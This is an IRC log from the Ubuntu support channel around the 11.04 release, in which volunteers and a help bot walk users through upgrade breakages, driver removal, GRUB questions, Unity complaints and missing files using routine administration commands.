[22:26] <Witchsong_> Anyone here using the Ubuntu One Applet Indicator?
[22:26] <notlistening> Oh told off ;)
[22:26] <Ultimate_Chaos> ty you all for now
[22:26] <ActionParsnip> !appdb | asdf_msc
[22:26] <ubottu> asdf_msc: The Wine Application DB is a database of applications and help for !Windows programs that run under !WINE: http://appdb.winehq.org - Join #winehq for application help
[22:26] <FearXFactorX> so whats the point of this
[22:26] <yfk> ChogyDan, excellent, it worked
[22:26] <whinis> Ellipsis753 if you have upgraded and didn't have to fix grub good to you though :) mine broke and required a live cd to fix
[22:26] <ChogyDan> yfk: :p
[22:26] <ActionParsnip> FearXFactorX: this channel is for ubuntu support only
[22:26] <ohsix> FearXFactorX: of what? do you have a question?
[22:27] <eamon> !details | FearXFactorX
[22:27] <ubottu> FearXFactorX: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."
[22:27] <Ultimate_Chaos> omg that worrrrrrrrked
[22:27] <Ultimate_Chaos> yay sidebar
[22:27] <whinis> How many peoples Grub broke on update
[22:27] <JunK-Y> how can i disable visual effect under 11.04? the tab visual effect isnt there anymore.
[22:27] <Ultimate_Chaos> ya i know
[22:27] <BlouBlou> JunK-Y: metacity --replace
[22:27] <ohsix> whinis: did yours break? it really isn't appropriate to take a poll here; mine didn't break though, fwiw
[22:27] <twiggydanger> ohsix: so the -r will make it apply to everyting in the folder?
[22:28] <manOwl> so i think that the newest release of ubuntu.. combined with the hardware compatibility of linux, the repositories, and stuff... and this new UI
[22:28] <rcconf> JunK-Y: you mean right click desktop background and visual effects tab?
[22:28] <Ultimate_Chaos> okay another problem
[22:28] <manOwl> windows 7 is an inferior OS
[22:28] <ActionParsnip> JunK-Y: press ALT+F2 and run:  metacity --replace
[22:28] <Lxndr> I just upgraded to the newest version of Ubuntu (11.4?) on my laptop, which was previously running 10.10. Unfortunately, the automated upgrade (which is what I tried) seems to have left my laptop almost nonfunctional. It gives me a few errors before just dropping out - 'uvcvideo: failed to query (129) UVC probe control' is one of them. Can anyone help?
[22:28] <asdf_msc> ActionPartnership, i looked there but didn't see anything on ubuntu 11.04 issues
[22:28] <Ultimate_Chaos> with some massive tweaks
[22:28] <manOwl> this is actually the first distribution that is legitimately easier to use than windows
[22:28] <njbair> since my upgrade to Natty, `mplayer dvd://` doesn't work because there's no device at /dev/dvd. I can symlink /dev/sr0 to /dev/dvd, but how do I fix this permanently?
[22:28] <ohsix> twiggydanger: -R, yea, and it will only change the owner, you need to do something else to change the permissions; so it won't clobber any that might have been set on purpose, just the owner
[22:28] <notlistening> ohsix, It was not so much a poll, as i was not counting
[22:28] <Ultimate_Chaos> i got portal 2 to to run in ubuntu
[22:28] <Witchsong_> JunK-Y: You need to install the Compiz Config, methinks.
[22:28] <dupondje> Weird issue when I boot my system. It starts up, get the purple ubuntu screen .. and then nothing for like 1 minute, and then it boots & I get login screen ... :s any idea's ?
[22:28] <ActionParsnip> asdf_msc: the guide may still apply, also ask in #winehq
[22:28] <manOwl> Ultimate_Chaos: does it render all the textures correctly?
[22:28] <Ultimate_Chaos> but i need to know what servers it connects to
[22:29] <Ultimate_Chaos> yes
[22:29] <twiggydanger> ohsix: so i just need to do chown  username /path/to/folder -r and that will set me to owner?
[22:29] <zzecool> Guys im searching about how to disable the Title on the Global Menu  , what i mean is actually i want the global menu always visible instead of this Title-intelihide  joke           Anyone  ????
[22:29] <hobbel> What could make a file disappear from the file list yet remain on the harddisk?
[22:29] <notlistening> what is the difference between unity 2D & 3D?
[22:29] <manOwl> i had portal running, but it was not rendering all the textures
[22:29] <JunK-Y> will try that
[22:29] <manOwl> because i had to run it in dx8 mode
[22:29] <notlistening> is it all in the name ;) ?
[22:29] <Dr_Willis> notlistening:  eyecandy and a few other looks.
[22:29] <phibxr> dupondje, sounds like the booting screen, plymouth i think, not displaying properly. got an nvidia-card?
[22:29] <Ultimate_Chaos> need to mod the game files
[22:29] <manOwl> hobbel: the list of files is not bound to the file itself..
[22:29] <ActionParsnip> hobbel: add a period to the start of it's name
[22:29] <Rehan> to all the wise ubuntu experts, is there a way I can have my laptop load up in powersave mode every time I boot? Right now I have to manually select it using a gnome2 panel applet to throttle the cpu down.  Thank you very much.
[22:29] <Dr_Willis> notlistening:  the keybindings will also be differnt so some of the things using compiz wont be there.
[22:29] <manOwl> hobbel: the filesystem stores the filenames, inodes, inumbers etc..
[22:29] <ChogyDan> Lxndr: uvc sounds like just the webcam...
[22:29] <manOwl> hobbel: the file itself is a binary blob
[22:30] <ohsix> twiggydanger: well there's a manual (man chown) and it's chown -R user(:group) /dirorfile, but yea, that's it
[22:30] <notlistening> and can I get the apps as text not icons (better for my eye sighty) ?
[22:30] <scoffin> jrib: uninstalling indicator-appmenu seems to do what I want
[22:30] <Lxndr> ChogyDan: Whatever it is, it's quitting down to a CLI.
[22:30] <hobbel> ActionParnip manOwl im missing a lot of files, no data on HD lost (since leftover space is the same). I suspect Deluge
[22:30] <asdf_msc> ActionPartnership: i've tried everything in the guide, and have been asking in winehq but i'm not sure the problem is wine related
[22:30] <Ultimate_Chaos> if it doesn't connect to the server it crashes
[22:30] <hobbel> ActionParnip manOwl how can I restore my files?
[22:30] <manOwl> hobbel: you're missing filenames?
[22:30] <ActionParsnip> hobbel: use tab to complete nicks
[22:30] <ChogyDan> Rehan: what is it now?
[22:30] <manOwl> paths etc?
[22:30] <Ultimate_Chaos> and if i coop in it it lookkss 50x better
[22:30] <jrib> scoffin: cool
[22:30] <manOwl> hobbel: first, are the files really important
[22:30] <manOwl> what are they
[22:31] <scoffin> thanks
[22:31] <asdf_msc> Dave888, did WoW start right up after upgrade or did you change something?
[22:31] <Rehan> ChogyDan: On boot its always in OnDemand mode
[22:31] <kermit> https://help.ubuntu.com/community/UFW says its off by default, but it really seems like this system has a firewall.. i can IM via skype, but any new inbound connections are ignored, not even refused.  its not behind NAT.
[22:31] <ChogyDan> Lxndr: it might be unrelated though.  Maybe check your /var/log/Xorg.0.log file, or dmesg
[22:31] <dupondje> phibxr: 01:05.0 VGA compatible controller: ATI Technologies Inc RS880 [Radeon HD 4290]
[22:31] <dupondje> mmm :)
[22:31] <Ultimate_Chaos> Building File Database
[22:31] <ohsix> Rehan: you know that ondemand overall saves battery by completing work quicker right, or do you want to do that for thermal reasons or something?
[22:31] <hobbel> manOwl ActionParsnip have them on backup, fresh install of 11.04. but the files do not show up on the drive anymore.
[22:31] <Rehan> ohsix: yeah exactly, thermal reasons
[22:31] <Ultimate_Chaos> Error dpkg has closed unexpecta=ently
[22:31] <rgr> hmm, after a quick play I really wonder why gufw was developed as opposed to simply maintaining the much more intuitive firestarter. Oh well.
[22:31] <Lxndr> ChogyDan, Can you tell me how? It's just dumping into CLI, and it's been a long time since I've had to use the CLI directly. (I can't seem to start the GUI at all, and it won't even communicate with the network)
[22:31] <ActionParsnip> !fixapt | Ultimate_Chaos
[22:31] <ubottu> Ultimate_Chaos: If an APT front-end crashed and your database is locked, try this in a !terminal: « sudo fuser -vki /var/lib/dpkg/lock;sudo dpkg --configure -a »
[22:31] <Ultimate_Chaos> everyt time i run it
[22:31] <manOwl> hobbel: recovering lost files on a drive is very time consuming, I assume you have a really, really good reason to want the files?
[22:31] <ohsix> Rehan: hm you should probably troubleshoot those then, they can usually be fixed
[22:32] <ohsix> rgr: #ubuntu-offtopic
[22:32] <manOwl> also stop using the drive now or you'll ruin your chances
[22:32] <ohsix> rgr: ufw is also a firewall, gufw is a gui for it, read about ufw if you want to know why
[22:32] <Ultimate_Chaos> but it isnt
[22:32] <Ultimate_Chaos> i checked
[22:32] <twiggydanger> ohsix: that worked! thanks a ton.
[22:32] <Rehan> ohsix: its just my laptop is a beast and makes a ton of heat. know of a way to make it not start in ondemand?
[22:32] <ChogyDan> Lxndr: nano /var/log/Xorg.0.log
[22:32] <ohsix> agh @ when they do that
[22:32] <ChogyDan> Lxndr: dmesg
[22:32] <hobbel> manOwl there is no space lost, its about 80GB thats just "gone". But i did not get +80gb in free space
[22:32] <Andre_Gondim> Hi, when I plug hdmi cable my all my screen stay so mess, how do I fix it
[22:32] <econdudeawesome> ActionParsnip: I finally figured out a workaround. Since I'm running amd64, I just added the beta flash 64bit, which is a workaround for nspluginwrapper
[22:32] <Ultimate_Chaos> ohnwhat is a good ubuntu irc chat program
[22:32] <ohsix> Rehan: well that's not really the knob to adjust if heat is your problem, that's what i'm saying
[22:33] <hobbel> manOwl so i guess files are still there, but in a weird "cant see" modus or something
[22:33] <ActionParsnip> econdudeawesome: I always use the 64bit flash in my 64bit rigs, works much better imho
[22:33] <rgr> Ultimate_Chaos: irssi, xchat, pigeon.
[22:33] <Rehan> ohsix: what would you recommend?
[22:33] <manOwl> hobbel: you're not going to be able to recover 80gb of files that have lost filesystem entries.
[22:33] <Rehan> ChogyDan: any ideas?
[22:33] <andycc> Ultimate_Chaos, I use xchat-gnome and it works pretty well.
[22:33] <econdudeawesome> ActionParsnip: I didn't even consider it as a solution until i thought about it for awhile :-)
[22:33] <Ultimate_Chaos> does xchat support mirc scripts?
[22:33] <ChogyDan> Rehan: I know a way to do that, it's a little tricky.  edit /etc/init.d/ondemand so it sets it to what you want instead of ondemand
[22:33] <manOwl> hobbel: i don't know what the best software is for recovering a lost file, but it can be done with dd.
[22:33] <hobbel> manOwl how can I Free my lost space then?
[22:33] <rgr> Ultimate_Chaos: it has good docs.
[22:33] <ActionParsnip> econdudeawesome: I also use 64bit flash ;)
[22:33] <hobbel> manOwl I have a backup so I dont care about the files
[22:33] <ActionParsnip> java sorry
[22:34] <manOwl> hobbel: what do you mean, free your lost space?
[22:34] <Ultimate_Chaos> KK
[22:34] <jaundice> after upgrading to 11 (server) my vm will not boot kernel 2.6.38 just dumps me into initramfs prompt, will boot 2.6.35 however with seemingy identical params any ideas?
[22:34] <Soothsayer> Anyone installed DockBarX over Unity ?
[22:34] <ohsix> Rehan: finding out why it's so hot, and stopping whatever you can that's making it hot; last time this came up someone had a problem device that was burning cpu, and he was able to just disable it
[22:34] <manOwl> hobbel: when the filesystem loses a file, that space is considered free!
[22:34] <manOwl> you're constantly overwriting your old files as you use your computer
[22:34] <Lxndr> ChogyDan, I have that file opened. What should I be looking for?
[22:34] <ActionParsnip> Soothsayer: docky on one, unity on another
[22:34] <murielgodoi> hi, where can i find ubuntu iso md5 hash? It isn't available at ubuntu download page.
[22:34] <econdudeawesome> One more question for the group. I'm restoring my gnome panel, but cannot remember what the area is called where open applications are listed in the panel...
[22:34] <Soothsayer> ActionParsnip, exactly what I want.. works well for dual monitor ?
[22:34] <Rehan> ohsix: oh its not ubuntu specific, its the laptop. Its an i7 with a poorly designed fan system
[22:34] <ChogyDan> Lxndr: errors at the end  unfortunately, I don't really know
[22:34] <ohsix> Rehan: i know it's not ubuntu specific when you asked it ;]
[22:35] <BlouBlou> anyone knows why I can't see logos in Unity? I mean images, I can click on them, but no images are showing
[22:35] <hobbel> manOwl let me repeat, the filesystem doesnt find any free space! I cant find ~80GB worth of files in nautilus / amarok etc. on a 120GB disc! only 5GB free space atm
[22:35] <Ultimate_Chaos> Sorry PolicyKit Authentication Agent closed unexpectently
[22:35] <SecteurClean> hello there canal for french people ?
[22:35] <Lxndr> ChogyDan, It says 'Fatal server error'
[22:35] <BlouBlou> like if they were totally transparenrts, or invisibles
[22:35] <Jordan_U> hobbel: The only way that I know of to completely unlink a file whithout freeing its space in the filesystem is for the file to still be open by some program. But I think it's unlikely that is happening for you.
[22:35] <Lxndr> ChogyDan, More specifically, it says "no screens found"
[22:35] <kwrite> I can't get my Dell 1397 wireless card to work with Wireshark. I can't find anything on the net about it. Anyone know if there is a way to get it to work?
[22:35] <manOwl> hobbel: either you are not looking hard enough for the file that is taking up your space, or you need to make a new filesystem.
[22:35] <ohsix> Rehan: is it really poorly designed or are the thermal zones incorrect in the bios?
[22:35] <ChogyDan> econdudeawesome: window list
[22:35] <ActionParsnip> Soothsayer: no idea, I have 1 monitor for 6 systems
[22:35] <christhecoolboy> The Problem I have is that my mic is not listed after the 11.04 upgrade, it now has "Internal Audio Analogue Stereo" Instead... I have a MSI AE2020, The Sound card is a Nvidia MCP79 and the computer requires Snd-hda-intel to have Auto to have sound, loads more were tested in 10.10, http://paste.ubuntu.com/601047/ and http://paste.ubuntu.com/601054/ should give you more Information that can help fix it, the Mic is built in to the computer
[22:35] <manOwl> hobbel: try the tool baobab
[22:35] <econdudeawesome> ChogyDan: where there ya go--thanks!
[22:35] <manOwl> it finds the biggest files to delete
[22:35] <asdf_msc> if anyone has gotten WoW to work on 11.04, please let me know what you did
[22:35] <ChogyDan> Lxndr: anything before that?
[22:36] <hobbel> manOwl Jordan_U this filesystem is ~6 hours old. All lost / hidden files are Deluge "seeds". Already did a restart
[22:36] <Soothsayer> ActionParsnip, so what did you mean by unity on one, dock on another? (two different installations??)
[22:36] <Lxndr> ChogyDan, "Failed to load module "nvidia" No drivers available.
[22:36] <Ultimate_Chaos> i entered the correct password
[22:36] <Rehan> ohsix: its so poorly designed they forced a recall/BIOS update on the system that makes the stupid fans just stay almost at full all the time to cover their ass from lawsuits
[22:36] <ohsix> asdf_msc: you'd probably fare better asking in #winehq or checkign out the appdb, that's pretty much just a wine issue
[22:36] <Ultimate_Chaos> it unlocked then locked
[22:36] <ChogyDan> Lxndr: that's the one!
[22:36] <Ultimate_Chaos> then i entered it again and i got there error
[22:36] <murielgodoi> Where can i find ubuntu iso md5 hash? It isn't available at ubuntu download page.
[22:36] <manOwl> hobbel: there are two possibilites. that you used a ton of space, or that the filesystem is corrupt and needs to be erased and reformatted.
[22:36] <Lxndr> ChogyDan, yay! what do I do?
[22:36] <Rehan> ohsix: there's nothing in the bios except boot order. very basic bios
[22:36] <ActionParsnip> Soothsayer: laptop uses unity (single screen), Media Centre goes to tV (single screen), rest are headless servers
[22:36] <manOwl> hobbel: some runaway program probably created a big file on your computer.
[22:36] <asdf_msc> ohsix: i've tried both and it seems to be an opengl issue rather than wine
[22:37] <manOwl> hobbel: sudo apt-get install baobab <--- run this, find the big file, delete it.
[22:37] <ohsix> Rehan: the bios contains tables that tells linux about the fans and the zones they manage ,and all their trip points and stuff; it's more than just the settings
[22:37] <manOwl> if you can't, then you need to make a new filesystem.
[22:37] <Ultimate_Chaos> anyone know how to fix it?
[22:37] <rgr> argh, why do they insist on calling things like gufw and firestarter "firewalls" - they are not.
[22:37] <ChogyDan> Lxndr: what does dkms status say?
[22:37] <daif> Hi , I can't upgrade to 11.04 "Could not calculate the upgrade"
[22:37] <ohsix> asdf_msc: it'd still be wine; they're the ones fitting the square peg in the round hole :]
[22:37] <stercor> Where would I go to post a question about firewalls and routers?
[22:37] <Soothsayer> why didn't Unity factor in dual monitors!
[22:37] <ohsix> rgr: #ubuntu-offtopic
[22:37] <Rehan> ohsix: ah well i tried using sensors detect with lm-sensors and it only found a few
[22:37] <Soothsayer> that's one thing that requires a lot of work and attention
[22:37] <rgr> stercor: here or #linux
[22:38] <Lxndr> ChogyDan, If I type 'dkms' it returns nothing.
[22:38] <hobbel> manOwl, baobab still finds the files as space
[22:38] <MK``> adding >> in the terminal will append to a file right?
[22:38] <ChogyDan> Lxndr: dkms status
[22:38] <kfizz> Is there any place other than "Startup Applications" where startup programs could be listed? I have a weather indicator applet installed and I don't want it starting up anymore but it's not listed in "Startup Applications."
[22:38] <ActionParsnip> stercor: or ##networking
[22:38] <Ultimate_Chaos> hello?
[22:38] <rgr> kfizz: yes
[22:38] <manOwl> hobbel: what do you mean it finds the files as space?
[22:38] <Lxndr> ChogyDan, There are four lines.
[22:38] <rgr> init scripts
[22:38] <ActionParsnip> kfizz: you can add .desktop files in ~/.config/autostart
[22:38] <ChogyDan> Lxndr: are they all marked installed?
[22:38] <Rehan> ChogyDan: thank you, I did sudo vim /etc/init.d/ondemand  -- if you had a few spare moments could you provide me with further instructions?
[22:38] <manOwl> hobbel: the numbers that df -h reports are definitely incorrect?
[22:38] <ohsix> rgr: those don't have anything to do with the session manager
[22:38] <Lxndr> ChogyDan, Yes, they are.
[22:38] <abbronzato> HELP, i cannot use the latest 11.04: 'udevd-work[98]: '/sbin/modprobe -bv pci: v000010DEd00000398sv00001179sd0000FF31bc03sc00i00' unexpected exit with status 0x0009", i have verified the downloaded md5sum, reburned then verified, looks good but same error: HELP! thx
[22:38] <kfizz> rgr: I've grepped /etc/init.d for it, but I couldn't find it there either.
[22:39] <ActionParsnip> kfizz: you can add scripts and suck in KDE using the folder ~/.kde/Autorun
[22:39] <manOwl> hobbel: you can try fsck
[22:39] <hobbel> manOwl, looks like my partition is smaller all of sudden... hmmz
[22:39] <rgr> thats be user local for sure
[22:39] <ohsix> kfizz: it wouldn't be there
[22:39] <ActionParsnip> abbronzato: did you test your RAM?
[22:39] <manOwl> PEBKAC
[22:39] <Ultimate_Chaos> okay how do i tell it that i want to upgrade the OPERATING SYSTEM
[22:39] <bkerensa> n #ubuntu-us-or
[22:39] <abbronzato> hello, in true not, the system runs fine, but i can test it
[22:39] <ActionParsnip> Ultimate_Chaos: sudo apt-get update; sudo apt-get -y upgrade
[22:39] <kfizz> ActionParsnip, thanks; however, I'm using Gnome.
[22:39] <ChogyDan> Lxndr: is your kernel listed?  prolly 2.6.38-8
[22:40] <ChogyDan> Rehan: sure
[22:40] <Cale> I can't seem to upgrade to 11.04 from 10.10 because of "broken or held packages". What should I do to get more information about what's going wrong?
[22:40] <ActionParsnip> kfizz: then ~/.config/autostart
[22:40] <ohsix> rgr: i wish you'd hold your tongue, you lead people off into the weeds & other people have to bring them back, you're deliberately creating work for other people with more interest in helping than yourself
[22:40] <Cale> I don't appear to have any held packages at the moment
[22:40] <kfizz> ActionParsnip, Checking there now but not seeing anything :/
[22:40] <Josesordo> Damn Unity.. now my windows border dont show!.. help please!
[22:40] <jbsoum> hey can someone help me? i upgraded to 11.04 and somewhere in the process of disabling the unity desktop and enabling compiz, i lost all my window borders
[22:40] <owner> hey can anyone help me. I have tried to get Blender 2.57b to work with openshot in Ubuntu 10.10 and 11.04 and so far it won't work.
[22:40] <FernandoBasso> Ubuntu x86 default (not alternate) is asking a login user and password to 'try it without install'. Any ideas?
[22:40] <Lxndr> ChogyDan, I see 2.6.38-8-generic as the top line. The other lines have other numbers.
[22:40] <jbsoum> lol josesordo me too
[22:40] <ohsix> Cale: open synaptic and see waht it thinks are being held or pinned
[22:40] <Ultimate_Chaos> im running ubuntu11.04
[22:41] <Ultimate_Chaos> beta 1
[22:41] <Ultimate_Chaos> how do i tell it to upgrade
[22:41] <owner> I'm running 11.04 too
[22:41] <Josesordo> jbsoum, yeah me too.. I remove all compiz stuff..and nothing yet..
[22:41] <ActionParsnip> kfizz: you can symlink (or copy or create) .desktop files in that folder and they will run on logon
[22:41] <Jordan_U> !final | Ultimate_Chaos
[22:41] <ubottu> Ultimate_Chaos: If you install a development version of Ubuntu Natty and keep up with package updates, then you will be upgraded to the official release of 11.04 when it comes out. To make sure, type « sudo apt-get update && sudo apt-get dist-upgrade » in a console.
[22:41] <owner> OpenShot video editor wants Blender 2.57b installed in order for it to do the CGI stuff.
[22:41] <kfizz> ActionParsnip, thanks I'll check it out.
[22:41] <ChogyDan> Lxndr: yeah, I dunno, you could at least remove the nvidia driver to get going again.  Not sure how to fix it
[22:41] <ohsix> kfizz: if you're trying to get your applets back with unity, you probably cant; it's not a real panel
[22:41] <owner> I tried going into prefrences and telling OpenShot where the new blender executable was but it won't do it.
[22:42] <Lxndr> ChogyDan, How should I remove the nvidia driver?
[22:42] <Ultimate_Chaos> ty very much upgrading
[22:42] <owner> I hate unity.
[22:42] <jbsoum> owner, me too
[22:42] <hobbel> manOwl 64 / 70GB used in baobab, the folder with the "missing files" still reports the folder size it had before the files went missing. Folders themself still there, i just miss the files (mainly .mp3)
[22:42] <ohsix> owner: if you have a question, ask it, otherwise #ubuntu-offtopic
[22:42] <arrrghhh> owner, jbsoum so ditch it.  go back to the 'ubuntu classic' setting
[22:42] <ChogyDan> Lxndr: sudo apt-get remove nvidia-current
[22:42] <Cale> ohsix: is there an easy way to get a list of the packages it thinks are pinned?
[22:42] <ChogyDan> Rehan: look for the line like echo -n ondemand > $CPUFREQ
[22:42] <kfizz> ohsix, I'm using Ubuntu classic, thanks for the tip tho.
[22:42] <Cale> ohsix: I don't have any held packages at the moment
[22:42] <jbsoum> arrrghhh, i did, but now my window borders are gone and i dont know how to get them back o.O
[22:43] <W4RH4WK> hello, which command line irc client do you prefere irssi, weechat? i need some advice which one to try out
[22:43] <owner> ohsix I asked how to get OpenShot video editor to work with Blender 2.57b
[22:43] <Cale> and everything is upgraded to the latest version in 10.10
[22:43] <Juest> hi, what i have to put in /etc/lilo.conf?
[22:43] <Lxndr> ChogyDan, Done. Should I try restarting now?
[22:43] <ohsix> Cale: not that i know of, i don't use synaptic much; probably why i've never had a problem :O
[22:43] <arrrghhh> jbsoum, reboot?  i didn't have that issue...
[22:43] <Rehan> ChogyDan: found it
[22:43] <jbsoum> i rebotted and the problem still persists
[22:43] <ChogyDan> Lxndr: you can check with dkms status again, but yeah
[22:43] <Witchsong_> Anyone got the issue with XChat that it doesn't minimize the application to the panel when you choose "Minimize to tray"?
[22:43] <Stereocaulon_> Is there a way to get rid of the envelope icon/button in the top-right of the screen, without disabling my network manager view and keyboard chooser?
[22:43] <Juest> and i can't reboot
[22:43] <owner> ohsix even if you go into prefrences and point it at the executable for Blender 2.57b it won't work.
[22:43] <Jordan_U> Juest: Ubuntu doesn't use lilo, it uses GRUB2.
[22:43] <arrrghhh> jbsoum, gotta be your theme or smth related to it.
[22:43] <Juest> lol?
[22:43] <Cale> ohsix: I normally just use apt-get
[22:43] <notlistening> this is a nasty ones :D https://bugs.launchpad.net/ubuntu/+source/evolution/+bug/774463
[22:43] <ubottu> Ubuntu bug 774463 in evolution (Ubuntu) "Evolution Crashes when scrolling through messges with pageup / pagedown" [Undecided,New]
[22:43] <ohsix> owner: dunno what to say
[22:43] <Juest> lilo's avaible
[22:43] <krocks> stuck in initramfs
[22:44] <jbsoum> arrrghhh, ill try changing themes, brb
[22:44] <arrrghhh> Juest, it's avail, but not used by default.
[22:44] <Juest> is because is debian based
[22:44] <ohsix> Stereocaulon_: that's the presence menu, i dunno that you can
[22:44] <krocks> my drive was not unmounted properly
[22:44] <owner> No one knows what to say. Here is what I need to know ohsix. I need to know where to stick the files in the package for Blender 2.57b so that they will replace the outdated version.
[22:44] <Juest> oh?
[22:44] <Jordan_U> Juest: Yes, but it's not used by default and I can't see why you would want to use it.
[22:44] <Lxndr> ChogyDan, It was gone from dkms, now it's rebooting. Wish me luck.
[22:44] <Juest> lol, because is more easier than grub
[22:44] <ChogyDan> Rehan: I changed ondemand to conservative.  maybe you can just put in powersave?
[22:44] <hihihi100> what happened to the bottom bar of firefox? its gone since the upgrade
[22:44] <arrrghhh> Juest, is it?  :P
[22:44] <krocks> what should i do tu repair  ubuntu?
[22:44] <owner> Ya unity is like using an iphone or droid.
[22:44] <Juest> and where i can edit grub static files?
[22:45] <Jordan_U> Juest: Then you should be able to figure out what to put in /etc/lilo.conf on your own :)
[22:45] <Juest> brb
[22:45] <ohsix> jbsoum: you need to turn on the decorator plugin in compiz, did you actually uninstall all the packages with *unity* in the name or just use the other session?
[22:45] <Rehan> ChogyDan: ok, whats the difference between powersave and conservative?
[22:45] <ActionParsnip> Juest: if you find it easier, use it :)
[22:45] <Juest> ok, i need to know, also i don't remember
[22:45] <rgr> Juest: using lilo is pretty stupid.
[22:45] <Witchsong_> hihihi100, what kind of bottom bar?
[22:45] <Juest> that's why i came
[22:45] <rgr> unless you have a very godo reason
[22:45] <ohsix> rgr: keep your opinions to yourself
[22:45] <jbsoum> ohsix, i just used the other session, i didnt uninstall it
[22:45] <Josesordo> grr.. Damn unity.. they want us to use only their theme.. lol
[22:45] <Stereocaulon_> ohsix, thanks for the notice, I am getting sick of icon rows being merged into one big happy indicator monster. No critique to you, but to the the Ubuntu design team...
[22:46] <ChogyDan> Rehan: well, you just want powersave, I think it will work, just change ondemand to powersave
[22:46] <Juest> and i used lilo before but still frogeting how's the conf
[22:46] <Rehan> ChogyDan: ok
[22:46] <machour> hi, anyone with a nice icon theme featuring different icons for the different mimetypes ?
[22:46] <ohsix> jbsoum: ok weird, the window decorator shouldn't have been messed with then; but you just need to turn it back on
[22:46] <dupondje> lilo = prehistoric ...
[22:46] <Juest> BRB
[22:46] <arrrghhh> !grub | Juest either use these links or figure out LILO on your own...
[22:46] <ubottu> Juest either use these links or figure out LILO on your own...: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[22:46] <hihihi100> witchsong, the bar where I had icons to access my add-ons, like perakun, adblockplus, noscript, foxyproxy...
[22:46] <Jordan_U> Juest: Settings for grub2 go in /etc/default/grub (if you decide to use update-grub to keep your grub.cfg updated automatically).
[22:46] <hihihi100> witchsong, torbutton
[22:46] <ohsix> Stereocaulon_: well it's been available for review for a long time, most people only care after release though
[22:46] <jbsoum> ohsix, how do i do that?
[22:46] <hobbel> manOwl ActionParsnip  copying files from backup disc to disc -> "do you want to overwrite file" <-- so files are def. still there!
[22:46]  * dupondje hates kernel bugs :(
[22:47] <hihihi100> what happened to the status bar?
[22:47] <ohsix> jbsoum: open ccsm from compizconfig-settings-manager and tick on the decorator plugin
[22:47] <abbronzato> ActionParsnip.. really bat the ram test appears but does not starts (if executed from the ubuntu media!!!!!)
[22:47] <ActionParsnip> hobbel: hmmm, do you see them in terminal?
[22:47] <Ultimate_Chaos> omg my internet!
[22:47] <Juest> yeah how do i manually edit the entries like with the in line temporal editing?
[22:47] <Stereocaulon_> ohsix, I have already protested during the 10.04 => 10.10 upgrade cycle. It was silently ignored...
[22:47] <ohsix> ActionParsnip: he probably doesn't have +x permission for the directory
[22:47] <Ultimate_Chaos> i want my internet to be good!
[22:47] <Juest> BRB!!!
[22:47] <dupondje> hihihi100: you can enable it :) its the 'addon bar' :)
[22:47] <hobbel> ActionParsnip ls returnt nothing
[22:47] <notlistening> ohsix, if you get a chance to look at the evolution bug i would appreciate it
[22:47] <ohsix> ActionParsnip: that lets you list files in a directory :]
[22:47] <ActionParsnip> abbronzato: could be a thing, if you hold shift at boot you can run memtest from the install drive
[22:47] <owner> I'm copying all the files into /usr/bin maybe that will work.
[22:47] <Witchsong_> hihihi100, that bar is still there, I got the Stylish icon on it.
[22:47] <eamon_> how safe is an encrypted home partition?
[22:48] <Ultimate_Chaos> yes
[22:48] <arrrghhh> !ot | Ultimate_Chaos
[22:48] <ubottu> Ultimate_Chaos: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[22:48] <ActionParsnip> ohsix: I don't follow?
[22:48] <hobbel> ActionParsnip sudo ls doesnt return anything either
[22:48] <KitB> So I'm trying to install Natty on a HP Touchsmart tm2 from a usb disk, however it hangs on the ... is it Plymouth? Either way, boot splash. Just stops there.
[22:48] <rgr> depends on wha encryption you use obviously and from what.
[22:48] <abbronzato> ActionParsnip, thx the memory test appears, but simply does not starts!
[22:48] <ActionParsnip> hobbel: you don't need sudo
[22:48] <eamon_> the regular installer
[22:48] <owner> WHA HA HA HA HA I FIXED IT!
[22:48] <ActionParsnip> hobbel: try:  ls -a
[22:48] <owner> And no one else has
[22:48] <owner> :D
[22:48] <FloodBot2> owner: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[22:48] <hobbel> ActionParsnip to rule out permission errors
[22:48] <ActionParsnip> abbronzato: that's not good dude
[22:48] <ohsix> Stereocaulon_: well protest ... i don't think that's really effective, people inflate themselves into "tons of people" who happen to agree with them, even if you don't people don't take it with much weight; only thing you can really do is not care or get involved in the decisions made in the next version
[22:48] <jbsoum> ahhh good call thanks ohsix
[22:48] <owner> Hello FloodBot2
[22:48] <ActionParsnip> hobbel: anything with: ls -a
[22:48] <dupondje> KitB: and what if you wait a minute? Seems like i have same issue here :(
[22:48] <hobbel> ActionParsnip it reports two "files", one names "." and one ".."
[22:49] <eamon_>  ecryptfs the default one that is used in the ubuntu installer
[22:49] <abbronzato> ActionParsnip, i'm running another (fe....) from months without probs on this pc
[22:49] <ActionParsnip> hobbel: and if you run:  pwd   is it the location where the files should be
[22:49] <KitB> dupondje: I've been waiting a few minutes now
[22:49] <ohsix> ActionParsnip: you can't list files in a directory without +x for your user, but you can create files there, and everything else; it's a tip for you since you're helping the guy
[22:49] <ohsix> ownwhat was it?
[22:49] <ActionParsnip> ohsix: hmm, i thought you'd only need read access to read the folder listing, interesting
[22:50] <DiNozzo> Hey, anyone here good at getting soundcards to work?
[22:50] <ohsix> rgr: people can't usually infer who you're talking to unless you address them, channel often moves past what you're replying to pretty fast too
[22:50] <Josesordo> I want my windows borders back!..please help!
[22:50] <hobbel> ActionParsnip I found a way to get the files back... copy them from the external HD (backup) but hit "no" on overwite makes them appear again
[22:50] <ohsix> ActionParsnip: i could be mistaken, that's my understanding btu i haven't checked
[22:50] <ActionParsnip> hobbel: weird
[22:50] <Stereocaulon_> ohsix I have been involved, I am not inflating inflating myself, yet I still find it a rather irritating way to handle these things. Toolbars of any kind should be customizable. Period.
[22:50] <eamon_> rgr: ecryptfs
[22:50] <hobbel> ActionParsnip extremely weird
[22:50] <ActionParsnip> ohsix: linux is a strange creature :)
[22:51] <kjxl9> can someone help me go through this tutorial: http://www.ehow.com/how_7729420_use-ps3-controller-ubuntu.html
[22:51] <KitB> Capslock has no effect, alt+prtscr+S, U, B also has no effect
